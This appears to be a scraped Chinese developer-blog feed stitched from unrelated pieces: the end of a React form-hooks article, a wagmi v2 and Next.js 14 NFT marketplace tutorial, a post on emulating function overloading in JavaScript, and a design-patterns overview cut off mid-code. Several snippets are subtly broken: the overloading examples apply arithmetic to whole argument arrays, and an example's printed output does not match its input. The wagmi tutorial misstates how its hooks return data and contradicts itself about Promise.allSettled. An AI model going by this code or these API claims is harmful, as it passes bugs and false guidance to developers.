  const [status, setStatus] = useState<"idle" | "checking" | "ok" | "taken">("idle");

  useEffect(() => {
    if (!debouncedUsername) {
      setStatus("idle");
      return;
    }
    let cancelled = false;
    setStatus("checking");
    fetch(`/api/username?u=${encodeURIComponent(debouncedUsername)}`)
      .then((r) => r.json())
      .then((data) => {
        if (!cancelled) setStatus(data.available ? "ok" : "taken");
      })
      .catch(() => {
        if (!cancelled) setStatus("idle");
      });
    return () => {
      cancelled = true;
    };
  }, [debouncedUsername]);

  return (
    <form
      style={{
        maxWidth: 480,
        display: "grid",
        gap: 16,
        fontFamily: "system-ui, sans-serif",
      }}
      onSubmit={(e) => e.preventDefault()}
    >
      <label style={{ display: "grid", gap: 4 }}>
        <span style={{ fontSize: 14, color: "#475569" }}>用户名</span>
        <input
          value={settings.username}
          onChange={(e) =>
            setSettings({ ...settings, username: e.target.value })
          }
          style={{
            padding: "8px 10px",
            borderRadius: 6,
            border: "1px solid #cbd5e1",
          }}
        />
        <span style={{ fontSize: 12, color: "#64748b" }}>
          {status === "checking" && "校验中..."}
          {status === "ok" && "✓ 可用"}
          {status === "taken" && "✗ 已被占用"}
        </span>
      </label>

      <label style={{ display: "grid", gap: 4 }}>
        <span style={{ fontSize: 14, color: "#475569" }}>国家</span>
        <CountryPicker
          value={settings.country}
          onChange={(country) => setSettings({ ...settings, country })}
        />
      </label>

      <label
        style={{
          display: "flex",
          alignItems: "center",
          justifyContent: "space-between",
        }}
      >
        <span style={{ fontSize: 14, color: "#475569" }}>邮件通知</span>
        <NotificationSwitch
          value={settings.notifications}
          onChange={(notifications) =>
            setSettings({ ...settings, notifications })
          }
        />
      </label>
    </form>
  );
}

四个 Hook,四种职责,零重叠:

  • useDebounce 把密集敲击压成一次延迟值,让异步校验只在用户停顿后才发请求
  • useControlled 让开关组件同时接受 valuedefaultValue 两种用法,不必复制分支逻辑
  • useLocalStorage 把整个设置对象在刷新中持久化,附带 SSR 安全初始化与跨标签页同步
  • useClickOutside 在用户点击触发器与菜单之外的任何地方时关闭国家菜单——portal 渲染同样工作

整个表单文件最后大约 200 行,绝大部分是 JSX 与样式。那些容易写错的浏览器细枝末节——定时器清理、SSR 存储访问、受控/非受控判别、document 级监听——都被收进了那些已经被各种翻车场景打磨过的库 Hook 里。

安装

npm i @reactuses/core

相关 Hook

  • useDebounce — 让一个值按固定延迟落后于其输入
  • useDebounceFn — 防抖一个回调而非一个值
  • useControlled — 构建同时接受受控/非受控用法的组件
  • useLocalStorage — 持久化到 localStorage 的 useState,自带 SSR 安全与跨标签页同步
  • useSessionStorage — 与 useLocalStorage 同形,但作用域为会话
  • useClickOutside — 检测一个或多个元素之外的点击
  • useClickAway — 单 ref 版本的点击外部检测
  • useToggle — 带显式 toggle setter 的布尔状态
  • usePrevious — 读取上一次的状态值,用于表单中的变更检测

ReactUse 提供 100+ 个 React Hook。全部探索 →

用 wagmi v2 和 Next.js 14 硬扛 NFT 市场前端:从合约调用失败到批量上架,我踩了这些坑

作者 竹林818
2026年5月7日 18:01

背景

上个月,团队接了一个 NFT 市场的前端单子,要求用 Next.js 14 的 App Router 搭,后端合约是 Solidity 写的,已经部署到 Sepolia 测试网。我的任务就是实现用户连接钱包、查看自己持有的 NFT、选择上架(挂单)、以及购买别人挂单的 NFT。

听起来很常规对吧?我当时也觉得,wagmi v2 都出了,RainbowKit 也有现成的组件,应该很快能搞定。结果我一头扎进去,整整两天时间都耗在了“合约调用失败”和“签名不通过”这两个坑里。后来发现,问题出在 wagmi v2 的 API 变化、EIP-712 签名的处理方式,以及 Next.js 服务端渲染时对 Web3 库的兼容性上。

这篇文章,我就把自己踩过的坑、用的笨办法、最终怎么跑通的,全部写出来。如果你也在用 wagmi v2 做 NFT 市场,或者准备上 Next.js 14,希望能帮你少走弯路。

问题分析

最初的思路

我一开始的想法很简单:用 RainbowKit 做钱包连接,用 wagmi 的 useWriteContract 直接调合约的 listItem 方法,把 NFT 上架。合约那边我已经拿到了 ABI,上架函数签名是 listItem(address nftAddress, uint256 tokenId, uint256 price)

代码大概长这样:

// 最初的错误写法
const { writeContract } = useWriteContract()

const handleListItem = async () => {
  writeContract({
    address: MARKETPLACE_ADDRESS,
    abi: marketplaceABI,
    functionName: 'listItem',
    args: [nftAddress, tokenId, price],
  })
}

看起来没问题吧?但点击按钮后,钱包弹出了 MetaMask 的交易确认,我点了确认,然后...交易一直 pending,最后直接 revert 了。

为什么行不通

我打开浏览器的控制台,发现 wagmi 抛了一个错误:

ContractFunctionExecutionError: The contract function "listItem" reverted with the following reason: "ERC721: transfer caller is not owner nor approved"

这个错误很经典:合约在执行 safeTransferFrom 的时候,发现调用者(也就是我当前的钱包地址)并没有被授权转移这个 NFT。我的合约里确实需要先 approve 市场合约,然后才能 listItem

但问题在于:wagmi v2 的 useWriteContract 默认会把当前连接的 account 作为 from 地址,而 listItem 内部会检查 msg.sender 是否拥有该 NFT 的转移权限。我虽然在前端调用了 approve,但因为交易是异步的,approve 还没被确认,我就立刻调了 listItem,导致合约认为我没有授权。

当时我就踩了这个坑:没有做交易等待和状态检查

排查过程

我花了半天时间,把交易流程拆成两步:

  1. 先调用 ERC721 的 approve 方法,授权市场合约管理这个 NFT。
  2. approve 交易被确认后,再调用市场合约的 listItem

但这样又带来一个新问题:用户需要签两次 MetaMask 交易,体验很差。而且如果用户在第一步授权后、第二步上架前刷新了页面,授权就白做了。

后来我想到可以用 useWaitForTransactionReceipt 来监听交易状态,但 wagmi v2 的 API 变了,useWaitForTransactionReceipt 返回的是 data 而不是 receipt。我一开始没看文档,直接按 v1 的写法来,结果一直拿不到交易哈希。

// 错误的写法(v1 风格)
const { data } = useWaitForTransactionReceipt({
  hash: txHash, // v2 里这个参数叫 hash,但返回结构变了
})

正确的做法是:

// wagmi v2 的正确写法
const { data: receipt, isLoading, isError } = useWaitForTransactionReceipt({
  hash: txHash,
})

receipt 才是交易收据对象,data 在 v2 里已经被废弃了。这个细节让我多花了两个小时。

核心实现

1. 搭建基本项目结构和钱包连接

我用的技术栈是 Next.js 14 + wagmi v2 + RainbowKit。首先创建项目:

npx create-next-app@latest nft-marketplace --typescript --tailwind --app
cd nft-marketplace
npm install wagmi viem @rainbow-me/rainbowkit

然后在 app/providers.tsx 里配置 wagmi 和 RainbowKit:

'use client'

import { WagmiProvider, createConfig, http } from 'wagmi'
import { sepolia } from 'wagmi/chains'
import { RainbowKitProvider, getDefaultConfig } from '@rainbow-me/rainbowkit'
import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
import '@rainbow-me/rainbowkit/styles.css'

const config = getDefaultConfig({
  appName: 'NFT Marketplace',
  projectId: process.env.NEXT_PUBLIC_WALLET_CONNECT_PROJECT_ID!, // 需要去 WalletConnect 申请
  chains: [sepolia],
  transports: {
    [sepolia.id]: http('https://sepolia.infura.io/v3/YOUR_INFURA_KEY'),
  },
})

const queryClient = new QueryClient()

export function Providers({ children }: { children: React.ReactNode }) {
  return (
    <WagmiProvider config={config}>
      <QueryClientProvider client={queryClient}>
        <RainbowKitProvider>
          {children}
        </RainbowKitProvider>
      </QueryClientProvider>
    </WagmiProvider>
  )
}

注意这个细节'use client' 是必须的,因为 wagmi 和 RainbowKit 都是客户端组件,不能在服务端渲染。Next.js 14 的 App Router 默认是服务端组件,所以必须用 'use client' 包裹。

然后在 app/layout.tsx 里引入:

import { Providers } from './providers'

export default function RootLayout({
  children,
}: {
  children: React.ReactNode
}) {
  return (
    <html lang="en">
      <body>
        <Providers>{children}</Providers>
      </body>
    </html>
  )
}

2. 实现 NFT 上架功能(含 EIP-712 签名)

我后来决定改用 EIP-712 离线签名 的方式来实现上架,这样用户只需要签一条消息(不需要 gas),然后由后端或者前端直接提交交易。这能避免前面说的“先授权再上架”的糟糕体验。

合约那边支持了 EIP-712 的 createListing 函数,接受一个签名和一个 Listing 结构体。前端需要构建 domaintypesvalue,然后用 wagmi 的 signTypedData 来签名。

这里有个坑:wagmi v2 的 signTypedData 返回的是 0x 开头的签名,而合约那边期望的是 bytes 类型。如果你直接用 signTypedData 的结果,合约会校验失败,因为签名格式不对。

我排查了半天,发现是因为 wagmi v2 默认使用了 viemsignTypedData,它返回的是 0x 前缀的 hex 字符串。但合约接收的是 bytes,在 Solidity 里 bytesstring 是不同的。正确的做法是:不要对签名做任何处理,直接传 0x 开头的字符串给合约,因为 viemencodeFunctionData 会自动把它转成 bytes

完整的上架逻辑如下:

// app/components/ListItem.tsx
'use client'

import { useAccount, useSignTypedData, useWriteContract, useWaitForTransactionReceipt } from 'wagmi'
import { useState } from 'react'
import { marketplaceABI, MARKETPLACE_ADDRESS } from '@/lib/contract'
import { parseEther } from 'viem'

export function ListItem({ nftAddress, tokenId }: { nftAddress: string; tokenId: string }) {
  const { address } = useAccount()
  const [price, setPrice] = useState('')
  const [txHash, setTxHash] = useState<`0x${string}` | undefined>(undefined)

  const { signTypedDataAsync } = useSignTypedData()
  const { writeContractAsync } = useWriteContract()

  // 监听交易确认
  const { isLoading: isConfirming, isSuccess } = useWaitForTransactionReceipt({
    hash: txHash,
  })

  const handleList = async () => {
    if (!address || !price) return

    // 1. 构建 EIP-712 签名数据
    const domain = {
      name: 'NFTMarketplace',
      version: '1',
      chainId: 11155111, // Sepolia
      verifyingContract: MARKETPLACE_ADDRESS,
    }

    const types = {
      Listing: [
        { name: 'seller', type: 'address' },
        { name: 'nftAddress', type: 'address' },
        { name: 'tokenId', type: 'uint256' },
        { name: 'price', type: 'uint256' },
        { name: 'deadline', type: 'uint256' },
      ],
    }

    const deadline = Math.floor(Date.now() / 1000) + 3600 // 1小时后过期
    const value = {
      seller: address,
      nftAddress: nftAddress as `0x${string}`,
      tokenId: BigInt(tokenId),
      price: parseEther(price),
      deadline: BigInt(deadline),
    }

    // 2. 用户签名(不需要 gas)
    const signature = await signTypedDataAsync({
      domain,
      types,
      primaryType: 'Listing',
      message: value,
    })

    // 3. 调用合约的 createListing
    const hash = await writeContractAsync({
      address: MARKETPLACE_ADDRESS,
      abi: marketplaceABI,
      functionName: 'createListing',
      args: [value, signature],
    })

    setTxHash(hash)
  }

  return (
    <div>
      <input
        type="text"
        value={price}
        onChange={(e) => setPrice(e.target.value)}
        placeholder="输入价格 (ETH)"
      />
      <button onClick={handleList} disabled={isConfirming}>
        {isConfirming ? '上架中...' : '上架 NFT'}
      </button>
      {isSuccess && <p>上架成功!交易哈希:{txHash}</p>}
    </div>
  )
}

3. 实现购买 NFT 功能

购买逻辑相对简单,因为用户只需要调用市场合约的 buyItem 函数,并附上 ETH(如果合约要求支付)。但这里也有一个坑:wagmi v2 的 useWriteContract 默认不携带 value,如果你需要发送 ETH,必须显式设置 value 参数。

// app/components/BuyNFT.tsx
'use client'

import { useWriteContract, useWaitForTransactionReceipt } from 'wagmi'
import { marketplaceABI, MARKETPLACE_ADDRESS } from '@/lib/contract'
import { parseEther } from 'viem'
import { useState } from 'react'

interface Listing {
  listingId: string
  price: string
  seller: string
}

export function BuyNFT({ listing }: { listing: Listing }) {
  const [txHash, setTxHash] = useState<`0x${string}` | undefined>(undefined)

  const { writeContractAsync } = useWriteContract()
  const { isLoading, isSuccess } = useWaitForTransactionReceipt({
    hash: txHash,
  })

  const handleBuy = async () => {
    const hash = await writeContractAsync({
      address: MARKETPLACE_ADDRESS,
      abi: marketplaceABI,
      functionName: 'buyItem',
      args: [BigInt(listing.listingId)],
      value: parseEther(listing.price), // 这里必须传 value
    })
    setTxHash(hash)
  }

  return (
    <div>
      <p>卖家:{listing.seller.slice(0, 6)}...{listing.seller.slice(-4)}</p>
      <p>价格:{listing.price} ETH</p>
      <button onClick={handleBuy} disabled={isLoading}>
        {isLoading ? '购买中...' : '立即购买'}
      </button>
      {isSuccess && <p>购买成功!</p>}
    </div>
  )
}

注意这个细节value 的单位是 wei,所以要用 parseEther 把 ETH 字符串转成 BigInt。如果你直接传字符串,合约会报错说 msg.value 不足。

4. 查询并展示所有挂单

为了展示市场上的 NFT 列表,我需要从合约读取事件或者调用 getAllListings 函数。这里我选择用 wagmi 的 useReadContract 来读取合约状态。

但有个问题:useReadContract 是同步的(在 React 里是异步的,但返回值是固定的),你不能在它返回之前做条件渲染。我一开始用 if (!data) return <Loading />,结果页面一直 loading,因为 useReadContract 在服务端渲染时会返回 undefined

正确的做法:用 isFetchingisFetched 来判断状态。

// app/components/Listings.tsx
'use client'

import { useReadContract } from 'wagmi'
import { marketplaceABI, MARKETPLACE_ADDRESS } from '@/lib/contract'
import { BuyNFT } from './BuyNFT'

interface Listing {
  listingId: bigint
  seller: string
  nftAddress: string
  tokenId: bigint
  price: bigint
  isActive: boolean
}

export function Listings() {
  const { data, isFetching, isFetched, error } = useReadContract({
    address: MARKETPLACE_ADDRESS,
    abi: marketplaceABI,
    functionName: 'getAllListings',
    args: [],
  })

  if (isFetching) return <p>加载中...</p>
  if (error) return <p>加载失败:{error.message}</p>
  if (!isFetched || !data) return <p>暂无数据</p>

  const listings = data as Listing[]

  return (
    <div>
      {listings
        .filter((l) => l.isActive)
        .map((listing) => (
          <div key={listing.listingId.toString()}>
            <p>NFT 地址:{listing.nftAddress}</p>
            <p>Token ID:{listing.tokenId.toString()}</p>
            <p>价格:{listing.price.toString()} wei</p>
            <BuyNFT
              listing={{
                listingId: listing.listingId.toString(),
                price: listing.price.toString(),
                seller: listing.seller,
              }}
            />
          </div>
        ))}
    </div>
  )
}

5. 处理批量上架

用户可能想一次上架多个 NFT,但合约只支持单个 createListing。我的方案是:Promise.all 并行签名,然后逐个提交交易。但这里要注意,signTypedDataAsync 每次调用都会弹 MetaMask 签名窗口,用户必须点很多次确认。

更好的做法:让用户只签一次,把多个 listing 打包成一个数组签名。但这需要合约支持批量签名,如果合约不支持,就只能用 Promise.allSettled 来处理部分失败的情况。

// 批量上架(逐个签名,逐个提交)
const handleBatchList = async (items: { nftAddress: string; tokenId: string; price: string }[]) => {
  const results = []
  for (const item of items) {
    try {
      const value = { seller: address, nftAddress: item.nftAddress, tokenId: BigInt(item.tokenId), price: parseEther(item.price), deadline: BigInt(deadline) }
      const signature = await signTypedDataAsync({ domain, types, primaryType: 'Listing', message: value })
      const hash = await writeContractAsync({ address: MARKETPLACE_ADDRESS, abi: marketplaceABI, functionName: 'createListing', args: [value, signature] })
      results.push({ tokenId: item.tokenId, hash, status: 'pending' })
    } catch (err) {
      results.push({ tokenId: item.tokenId, error: err, status: 'failed' })
    }
  }
  return results
}

这里有个坑:如果用户中途取消了签名,signTypedDataAsync 会抛出一个 UserRejectedRequestError,你必须用 try/catch 捕获,否则整个 Promise.allSettled 都会失败。

完整代码

由于篇幅限制,这里只给出核心组件的完整代码。完整的项目结构如下:

nft-marketplace/
├── app/
│   ├── layout.tsx
│   ├── page.tsx
│   └── providers.tsx
├── components/
│   ├── ListItem.tsx
│   ├── BuyNFT.tsx
│   └── Listings.tsx
├── lib/
│   └── contract.ts
└── package.json

lib/contract.ts 内容:

import { Abi } from 'viem'

export const MARKETPLACE_ADDRESS = '0xYourMarketplaceContractAddress'

export const marketplaceABI: Abi = [
  // 这里放合约 ABI,我直接从 Hardhat 编译产物复制过来
  {
    type: 'function',
    name: 'createListing',
    inputs: [
      { name: 'listing', type: 'tuple', components: [
        { name: 'seller', type: 'address' },
        { name: 'nftAddress', type: 'address' },
        { name: 'tokenId', type: 'uint256' },
        { name: 'price', type: 'uint256' },
        { name: 'deadline', type: 'uint256' },
      ]},
      { name: 'signature', type: 'bytes' },
    ],
    outputs: [],
    stateMutability: 'nonpayable',
  },
  {
    type: 'function',
    name: 'buyItem',
    inputs: [{ name: 'listingId', type: 'uint256' }],
    outputs: [],
    stateMutability: 'payable',
  },
  {
    type: 'function',
    name: 'getAllListings',
    inputs: [],
    outputs: [{ name: '', type: 'tuple[]', components: [
      { name: 'listingId', type: 'uint256' },
      { name: 'seller', type: 'address' },
      { name: 'nftAddress', type: 'address' },
      { name: 'tokenId', type: 'uint256' },
      { name: 'price', type: 'uint256' },
      { name: 'isActive', type: 'bool' },
    ]}],
    stateMutability: 'view',
  },
] as const

踩坑记录

  1. wagmi v2 的 useWaitForTransactionReceipt 返回结构变了:v1 返回 { data: receipt },v2 返回 { data: receipt, ... },但 data 字段已废弃,应该用 receipt 变量。我一开始没看文档,直接写 data.transactionHash 报错。

  2. EIP-712 签名格式问题:wagmi v2 的 signTypedData 返回的签名是 0x 开头的 hex 字符串,合约接收 bytes 类型。最初我尝试用 viemhexToBytes 转换,结果合约校验失败。后来发现直接传 0x 字符串给合约的 bytes 参数即可,viem 内部会自动处理。

  3. Next.js 服务端渲染与 wagmi 不兼容:所有用到 wagmi hooks 的组件都必须加 'use client',否则会报 hooks can only be called inside a component 错误。我一开始没注意,把 useReadContract 放在了服务端组件里,导致页面直接白屏。

  4. useWriteContract 不携带 value:购买 NFT 时需要发送 ETH,但 useWriteContract 默认不传 value。我花了半小时排查为什么交易一直失败,最后发现合约要求 msg.value 等于价格,而我没传 value 参数。

  5. 用户取消签名时的错误处理signTypedDataAsync 如果用户取消,会抛出 UserRejectedRequestError,如果不捕获,整个流程会中断。我用 try/catch 捕获后,把失败项记录下来,让用户选择重试。

小结

这次踩坑的核心收获是:wagmi v2 的 API 变化很多,一定要看最新文档;EIP-712 签名要特别注意类型定义和格式;Next.js 14 的 App Router 强制要求所有客户端组件加 'use client'

如果你想继续深挖,可以研究一下 wagmi v2 的 useSimulateContract,它可以在调用前模拟交易,提前发现错误,避免用户浪费 gas。另外,批量签名和批量交易也是 NFT 市场常见的需求,可以看看合约是否支持 multicall

希望这篇文章能帮你少走一些弯路。如果你也在做 NFT 市场,欢迎留言交流。

JS中模拟函数重载的使用

作者 Rkgua
2026年5月7日 17:55

JavaScript 语言本身不支持传统意义上的函数重载(即像 Java、C++ 那样,同名函数根据参数类型或数量的不同而自动调用不同版本)。在 JS 中,如果定义了多个同名函数,后面的函数会直接覆盖前面的函数。

不过,我们可以通过一些技巧来模拟实现函数重载的效果。同时,jQuery 库中也大量运用了这种“伪重载”的设计思想,这也是它 API 极其灵活好用的重要原因。

JavaScript 中模拟函数重载的常见方法

核心思路是:在一个函数内部,通过判断传入参数的数量类型,来分发执行不同的逻辑分支。

1. 基于参数数量(arguments.length 利用函数内部的 arguments 对象(或 ES6 的剩余参数 ...args)来获取实际传入的参数个数,从而执行不同的逻辑。

function add(...args) {
  switch (args.length) {
    case 0:
      return 0;
    case 1:
      return args * 2; // 传1个参数返回它的2倍
    case 2:
      return args + args; // 传2个参数返回它们的和
    default:
      return args.reduce((a, b) => a + b, 0); // 3个及以上返回总和
  }
}
console.log(add()); // 0
console.log(add(5)); // 10
console.log(add(3, 4)); // 7

2. 基于参数类型(typeof / instanceof 通过判断参数的数据类型,来执行不同的操作。

function process(input) {
  if (typeof input === "string") {
    console.log("处理字符串逻辑:", input.toUpperCase());
  } else if (typeof input === "number") {
    console.log("处理数字逻辑:", input * input);
  } else if (Array.isArray(input)) {
    console.log("处理数组逻辑:", input.join("-"));
  }
}
process("hello"); // 处理字符串逻辑: HELLO
process(10); // 处理数字逻辑: 100
process(); // 处理数组逻辑: 1-2-3

3. 现代推荐:使用 ES6 默认参数与对象解构 在实际开发中,为了避免繁琐的 if-elseswitch 判断,更推荐使用 ES6 的默认参数和接收一个配置对象的方式。这种方式可读性极强,且没有参数顺序的困扰。

// 使用默认参数
function load(url, method = "GET", timeout = 5000) {
  console.log(`发起请求: ${url}, 方法: ${method}, 超时: ${timeout}ms`);
}
load("/api/data"); // 发起请求: /api/data, 方法: GET, 超时: 5000ms
load("/api/data", "POST"); // 发起请求: /api/data, 方法: POST, 超时: 5000ms

// 使用对象解构
function createUser(options) {
  const { name = "匿名", age = 18, role = "user" } = options;
  return { name, age, role };
}
createUser({ name: "Tom" }); // { name: 'Tom', age: 18, role: 'user' }
createUser({ name: "Jerry", role: "admin" }); // { name: 'Jerry', age: 18, role: 'admin' }

jQuery 中的函数重载实现

是的,jQuery 中大量使用了函数重载的设计模式。这极大地降低了开发者的记忆成本,让同一个方法名能够承载多种语义(比如同一个方法既能“获取值”也能“设置值”)。

1. 经典的 Getter / Setter 重载 这是 jQuery 最常见的重载形式。通过判断传入参数的数量或类型,来决定是执行“获取(getter)”还是“设置(setter)”操作。

  • css() 方法
    • $('div').css('color'):传入1个字符串参数,获取该元素的 color 样式值。
    • $('div').css('color', 'red'):传入2个参数,设置该元素的 color 样式为 red。
    • $('div').css({ color: 'red', fontSize: '14px' }):传入1个对象参数,批量设置样式。
  • attr() 方法
    • $('#id').attr('title')获取 title 属性的值。
    • $('#id').attr('title', 'jQuery')设置 title 属性的值。

2. 核心构造函数 $() 的重载 jQuery 的核心 $() 函数本身就是一个极其强大的重载函数,它根据传入参数的不同,能实现完全不同的功能(内部支持多达 9 种不同的重载场景):

  • $(selector):传入 CSS 选择器字符串,匹配页面元素。
  • $(htmlString):传入 HTML 字符串,动态创建 DOM 元素。
  • $(element):传入一个原生 DOM 对象,将其包装成 jQuery 对象。
  • $(callback):传入一个函数,作为 DOM 加载完成后的回调(相当于 $(document).ready())。

3. 源码中的参数判断逻辑 在 jQuery 的源码中,经常能看到通过判断参数类型来进行逻辑分发的代码。例如在 off() 方法中,如果第二个参数是函数,它就会自动调整参数的赋值逻辑,以兼容不同的调用方式:

// jQuery off 方法的部分源码逻辑示意
off: function (types, selector, fn) {
  // 如果传入的第二个参数是一个函数,说明用户跳过了 selector 参数
  if (selector === false || typeof selector === 'function') {
    fn = selector;
    selector = undefined;
  }
  // 后续逻辑
}

重新学习前端之设计模式与架构

作者 walking957
2026年5月7日 16:43

设计模式与架构


一、设计模式

1. 什么是设计模式?设计模式基础

定义

设计模式(Design Pattern)是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。它不是具体的代码,而是解决特定问题的通用方案。

原理

设计模式源于建筑领域,1994 年 GoF(四人帮)在《设计模式:可复用面向对象软件的基础》一书中首次系统化地提出 23 种设计模式。核心思想是抽象出共性问题的通用解决方案,提高代码的可复用性、可读性和可维护性。

分类

分类 说明 包含模式
创建型 关注对象的创建过程,将对象的创建与使用分离 单例、工厂方法、抽象工厂、建造者、原型
结构型 关注类和对象的组合,通过组合获得更大的结构 适配器、装饰器、代理、桥接、组合、外观、享元
行为型 关注对象间的通信和职责分配 观察者、策略、命令、状态、模板方法、责任链、中介者、备忘录、迭代器

示例

以一个简单的场景说明:假设需要创建不同类型的通知(邮件、短信、推送),如果不使用设计模式,代码可能是大量的 if-else,使用工厂模式后可以将创建逻辑集中管理。

代码示例

// 不使用设计模式
function sendNotification(type, message) {
  if (type === 'email') {
    // 发送邮件逻辑
  } else if (type === 'sms') {
    // 发送短信逻辑
  } else if (type === 'push') {
    // 发送推送逻辑
  }
}

// 使用工厂模式后
const notificationFactory = {
  email: () => new EmailNotification(),
  sms: () => new SmsNotification(),
  push: () => new PushNotification()
};

function sendNotification(type, message) {
  const notifier = notificationFactory[type]();
  notifier.send(message);
}

常见误区

  1. 设计模式不是银弹:不能生搬硬套,要根据实际场景选择
  2. 过度设计:简单问题用复杂模式反而增加复杂度
  3. 忽略语言特性:JavaScript 的函数式特性可以简化很多传统模式

2. 前端常见的设计模式有哪些及应用场景?

模式 应用场景 实际案例
单例模式 全局唯一实例 Vuex/Redux Store、路由实例、全局弹窗
工厂模式 创建同类型不同实例 创建不同类型的表单组件、创建不同类型的图表
观察者模式 一对多依赖关系 Vue 响应式系统、EventEmitter、DOM 事件
发布订阅模式 解耦的事件通信 跨组件通信、消息中间件、EventBus
策略模式 多种算法可替换 表单验证策略、支付策略、排序算法
代理模式 控制对象访问 Vue 3 响应式 Proxy、图片懒加载、API 代理
装饰器模式 动态增强功能 React 高阶组件、TypeScript 装饰器、函数增强
适配器模式 接口转换 统一不同第三方库的 API、旧接口兼容
模板方法模式 固定流程 表单提交流程、页面初始化流程
责任链模式 多级处理 中间件机制(Koa/Express)、权限校验链
建造者模式 复杂对象构建 表单构建器、图表配置构建
组合模式 树形结构 菜单组件、文件目录树、表单嵌套

3. 单例模式

定义

单例模式(Singleton Pattern)确保一个类只有一个实例,并提供一个全局访问点。

原理

通过私有化构造函数或使用闭包,控制实例的创建过程,保证只创建一个实例。

代码实现

// 方式一:使用闭包实现
class Singleton {
  constructor(name) {
    this.name = name;
    this.instance = null;
  }
  
  getName() {
    return this.name;
  }
  
  static getInstance(name) {
    if (!this.instance) {
      this.instance = new Singleton(name);
    }
    return this.instance;
  }
}

const s1 = Singleton.getInstance('singleton1');
const s2 = Singleton.getInstance('singleton2');
console.log(s1 === s2); // true,同一个实例

// 方式二:使用 ES6 私有字段
class Singleton2 {
  static #instance = null;
  
  constructor() {
    if (Singleton2.#instance) {
      return Singleton2.#instance;
    }
    Singleton2.#instance = this;
  }
  
  static getInstance() {
    return new Singleton2();
  }
}

// 方式三:惰性单例(按需创建)
const createLazySingleton = (fn) => {
  let instance = null;
  return (...args) => {
    if (!instance) {
      instance = fn.apply(this, args);
    }
    return instance;
  };
};

// 使用
const createModal = () => document.createElement('div');
const getModal = createLazySingleton(createModal);
const modal1 = getModal();
const modal2 = getModal();
console.log(modal1 === modal2); // true

应用场景

  1. 全局状态管理:Vuex Store、Redux Store
  2. 全局弹窗/提示:确保同一时间只有一个弹窗实例
  3. 路由实例:Vue Router、React Router 单例
  4. 工具类实例:日志记录器、配置管理器

注意事项

  • 线程安全:JavaScript 是单线程,不存在线程安全问题
  • 测试困难:全局状态可能影响单元测试的隔离性
  • 内存泄漏:单例不会自动释放,需要注意清理

4. 工厂模式

简单工厂

定义:定义一个工厂函数/对象,根据传入的参数决定创建哪种类型的产品。

// 简单工厂
class Notification {
  send() {}
}

class EmailNotification extends Notification {
  send(msg) { console.log('发送邮件:', msg); }
}

class SmsNotification extends Notification {
  send(msg) { console.log('发送短信:', msg); }
}

class PushNotification extends Notification {
  send(msg) { console.log('发送推送:', msg); }
}

// 工厂函数
function createNotification(type) {
  const types = {
    email: EmailNotification,
    sms: SmsNotification,
    push: PushNotification
  };
  
  if (!types[type]) throw new Error('未知的通知类型');
  return new types[type]();
}

const email = createNotification('email');
email.send('Hello');

缺点:新增类型需要修改工厂函数,违反开闭原则。


工厂方法

定义:将对象的创建延迟到子类中,每个子类决定实例化哪个类。

// 工厂方法模式
class NotificationFactory {
  create() {
    throw new Error('子类必须实现此方法');
  }
  
  send(msg) {
    const notification = this.create();
    notification.send(msg);
  }
}

class EmailFactory extends NotificationFactory {
  create() { return new EmailNotification(); }
}

class SmsFactory extends NotificationFactory {
  create() { return new SmsNotification(); }
}

// 使用
const emailFactory = new EmailFactory();
emailFactory.send('Hello'); // 发送邮件: Hello

优点:符合开闭原则,新增类型只需新增工厂类。


抽象工厂

定义:提供一个创建一系列相关或相互依赖对象的接口,而无需指定它们具体的类。

// 抽象工厂:创建一组相关的 UI 组件
class UIFactory {
  createButton() { throw new Error('抽象方法'); }
  createInput() { throw new Error('抽象方法'); }
}

class WindowsUIFactory extends UIFactory {
  createButton() { return new WindowsButton(); }
  createInput() { return new WindowsInput(); }
}

class MacUIFactory extends UIFactory {
  createButton() { return new MacButton(); }
  createInput() { return new MacInput(); }
}

class WindowsButton { render() { return '<button class="win-btn"></button>'; } }
class MacButton { render() { return '<button class="mac-btn"></button>'; } }
class WindowsInput { render() { return '<input class="win-input"/>'; } }
class MacInput { render() { return '<input class="mac-input"/>'; } }

// 使用
const factory = new WindowsUIFactory();
const btn = factory.createButton();
console.log(btn.render()); // <button class="win-btn"></button>

三种工厂对比

维度 简单工厂 工厂方法 抽象工厂
结构复杂度
扩展性 差(修改工厂类) 好(新增工厂类) 好(新增工厂族)
适用场景 产品类型少 单一产品族 多个产品族
开闭原则 违反 符合 符合

选择策略

  • 产品类型固定且少 → 简单工厂
  • 需要扩展新产品类型 → 工厂方法
  • 需要创建一组相关产品 → 抽象工厂

5. 观察者模式

定义

观察者模式(Observer Pattern)定义了一种一对多的依赖关系,让多个观察者对象同时监听某一个主题对象。当主题对象状态发生变化时,会通知所有观察者。

原理

主题(Subject)维护一个观察者列表,当状态变化时遍历列表调用每个观察者的更新方法。

代码实现

class Subject {
  constructor() {
    this.observers = [];
  }
  
  subscribe(observer) {
    this.observers.push(observer);
  }
  
  unsubscribe(observer) {
    this.observers = this.observers.filter(obs => obs !== observer);
  }
  
  notify(data) {
    this.observers.forEach(observer => observer.update(data));
  }
}

class Observer {
  constructor(name) {
    this.name = name;
  }
  
  update(data) {
    console.log(`${this.name} 收到通知:`, data);
  }
}

// 使用
const subject = new Subject();
const observer1 = new Observer('观察者A');
const observer2 = new Observer('观察者B');

subject.subscribe(observer1);
subject.subscribe(observer2);
subject.notify('数据更新');
// 观察者A 收到通知: 数据更新
// 观察者B 收到通知: 数据更新

subject.unsubscribe(observer1);
subject.notify('再次更新');
// 只有观察者B 收到通知

Vue 响应式中的应用

// Vue 2 响应式原理简化版
function defineReactive(obj, key, val) {
  const dep = []; // 观察者列表
  
  Object.defineProperty(obj, key, {
    get() {
      // 收集依赖
      if (Dep.target && !dep.includes(Dep.target)) {
        dep.push(Dep.target);
      }
      return val;
    },
    set(newVal) {
      if (newVal !== val) {
        val = newVal;
        // 通知所有观察者
        dep.forEach(watcher => watcher.update());
      }
    }
  });
}

6. 发布订阅模式

定义

发布订阅模式(Pub-Sub Pattern)通过一个事件中心来解耦发布者和订阅者。发布者不直接通知订阅者,而是通过事件中心转发消息。

代码实现

class EventEmitter {
  constructor() {
    this.events = {};
  }
  
  on(event, callback) {
    if (!this.events[event]) {
      this.events[event] = [];
    }
    this.events[event].push(callback);
    return this; // 链式调用
  }
  
  off(event, callback) {
    if (!this.events[event]) return this;
    if (!callback) {
      delete this.events[event];
    } else {
      this.events[event] = this.events[event].filter(cb => cb !== callback);
    }
    return this;
  }
  
